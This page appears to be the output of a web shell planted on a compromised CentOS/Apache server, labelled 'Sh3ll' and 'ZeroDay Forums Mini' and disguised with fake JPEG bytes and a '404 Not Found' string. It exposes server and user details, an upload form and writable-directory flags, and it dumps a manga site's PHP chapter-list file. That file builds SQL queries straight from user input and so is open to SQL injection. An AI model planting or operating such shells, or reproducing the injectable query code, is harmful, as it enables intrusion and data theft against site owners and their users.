ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/luckymerchan/code/ajax/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/luckymerchan/code/ajax/load_list_chapter.php
<?php
$truyen_id = $CORE->input['manga_id']??0;
$keyword = $CORE->input['keyword']??'';
$keyword = trim($keyword);
$where = " AND truyen_id='$truyen_id' ";
if(!empty($keyword)){
    $where .= " AND chuong_name LIKE '%".$keyword."%' ";
}
$pageNum = isset($_GET['page_num']) ? intval($_GET['page_num']) : 1;
$pageSize = 51;
$from = (($pageNum * $pageSize) - $pageSize);
$t = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_chuong WHERE 1 ".$where));
$total = $t['total'];
$totalPage = ceil($total / $pageSize);
$query = $DB->query("SELECT * FROM tb_chuong WHERE 1 ".$where." ORDER BY chuong_pos DESC LIMIT $from,$pageSize");
$list_chap = '';
$row_check = $DB->fetch_row($DB->query("SELECT * FROM tb_truyen WHERE truyen_id='$truyen_id' AND truyen_active_status='Active'"));
while ($row = $DB->fetch_row($query)){
    /*$list_chap .= '<li class="row"><div class="col-5 chapter"><a href="/' . $row_check['truyen_fname'] . '-' . $row_check['truyen_id'] . '/' . $row['chuong_fname'] . '-' . $row['chuong_id'] . '/">' . $row['chuong_name'] . '</a></div><div class="col-4 text-center no-wrap small">' . $func->time_site($row['time_post']) . '</div><div class="col-3 text-center small">' . $row['chuong_hit'] . '</div></li>';*/
    $list_chap .= '<li class="wp-manga-chapter">
                                <a href="/' . $row_check['truyen_fname'] . '-' . $row_check['truyen_id'] . '/' . $row['chuong_fname'] . '-' . $row['chuong_id'] . '/">' . $row['chuong_name'] . '</a>
                                <span class="chapter-release-date"><i>' . $func->time_site($row['time_post']) . '</i></span>
                            </li>';
}
$arr['list_chap'] = $list_chap;
$nav = '';
if($totalPage>6) {
    if($pageNum>1) {
        $nav .= '<li class=""><span class="current prev" href="javascript:void(0);" onclick="load_list_chapter(' . ($pageNum - 1) . ');"><i class="icon ion-md-arrow-back"></i><span>Prev</span></span></li>';
    }
    if ($pageNum==1) {
        $nav .= '<li class="active"><span class="current">1</span></li>';
    } else {
        $nav .= '<li><a href="javascript:void(0);" class="page-link" onclick="load_list_chapter(1);">1</a></li>';
    }
    if($pageNum==1){
        for($i=2;$i<=3;$i++) {
            if($i>=$totalPage){
                continue;
            }
            if ($i == $pageNum) {
                $nav .= '<li class="active"><span class="current">' . $i . '</span></li>';
            } else {
                $nav .= '<li><a href="javascript:void(0);" class="page-link" onclick="load_list_chapter(' . $i . ');">' . $i . '</a></li>';
            }
        }
        $nav .= '<li>...</li>';
    }
    if($pageNum>1 and $pageNum<$totalPage-3){
        if($pageNum>4) {
            $nav .= '<li>...</li>';
        }
        for($i=$pageNum-2;$i<=$pageNum+2;$i++) {
            if($i<2 or $i>=$totalPage){
                continue;
            }
            if ($i == $pageNum) {
                $nav .= '<li class="active"><span class="current">' . $i . '</span></li>';
            } else {
                $nav .= '<li><a href="javascript:void(0);" class="page-link" onclick="load_list_chapter(' . $i . ');">' . $i . '</a></li>';
            }
        }

        $nav .= '<li>...</li>';
    }
    if($pageNum>=$totalPage-3 and $pageNum<$totalPage){
        $nav .= '<li>...</li>';
        for($i=$pageNum-2;$i<=$pageNum+2;$i++) {
            if($i<0 or $i>=$totalPage){
                continue;
            }
            if ($i == $pageNum) {
                $nav .= '<li class="active"><span class="current">' . $i . '</span></li>';
            } else {
                $nav .= '<li><a href="javascript:void(0);" class="page-link" onclick="load_list_chapter(' . $i . ');">' . $i . '</a></li>';
            }
        }
    }
    if ($totalPage == $pageNum) {
        $nav .= '<li>...</li>';
        for($i=$totalPage-3;$i<=$totalPage-1;$i++) {
            if($i>=$totalPage){
                continue;
            }
            if ($i == $pageNum) {
                $nav .= '<li class="active"><span class="current">' . $i . '</span></li>';
            } else {
                $nav .= '<li><a href="javascript:void(0);" class="page-link" onclick="load_list_chapter(' . $i . ');">' . $i . '</a></li>';
            }
        }

        $nav .= '<li class="active"><span class="current">' . $totalPage . '</span></li>';
    } else {
        $nav .= '<li><a href="javascript:void(0);" class="page-link" onclick="load_list_chapter(' . $totalPage . ');">' . $totalPage . '</a></li>';
    }
    if($pageNum<$totalPage){
        $nav .= '<li><a href="javascript:void(0);" class="page-link next" onclick="load_list_chapter(' . ($pageNum + 1) . ');"><span>Next</span><i class="icon ion-md-arrow-forward"></i></a></li>';
    }


}
if($totalPage>1 and $totalPage<=6){
    if($pageNum>1) {
        $nav .= '<li class=""><span class="current prev" href="javascript:void(0);" onclick="load_list_chapter(' . ($pageNum - 1) . ');"><i class="icon ion-md-arrow-back"></i><span>Prev</span></span></li>';
    }
    for($i=1;$i<=$totalPage;$i++){
        if ($i == $pageNum) {
            $nav .= '<li class="active"><span class="current">' . $i . '</span></li>';
        } else {
            $nav .= '<li><a href="javascript:void(0);" class="page-link" onclick="load_list_chapter(' . $i . ');">' . $i . '</a></li>';
        }
    }
    if($pageNum<$totalPage){
        $nav .= '<li><a href="javascript:void(0);" class="page-link next" onclick="load_list_chapter(' . ($pageNum + 1) . ');"><span>Next</span><i class="icon ion-md-arrow-forward"></i></a></li>';
    }
}
$arr['nav'] = $nav;
echo json_encode($arr);
exit();
?>

ZeroDay Forums Mini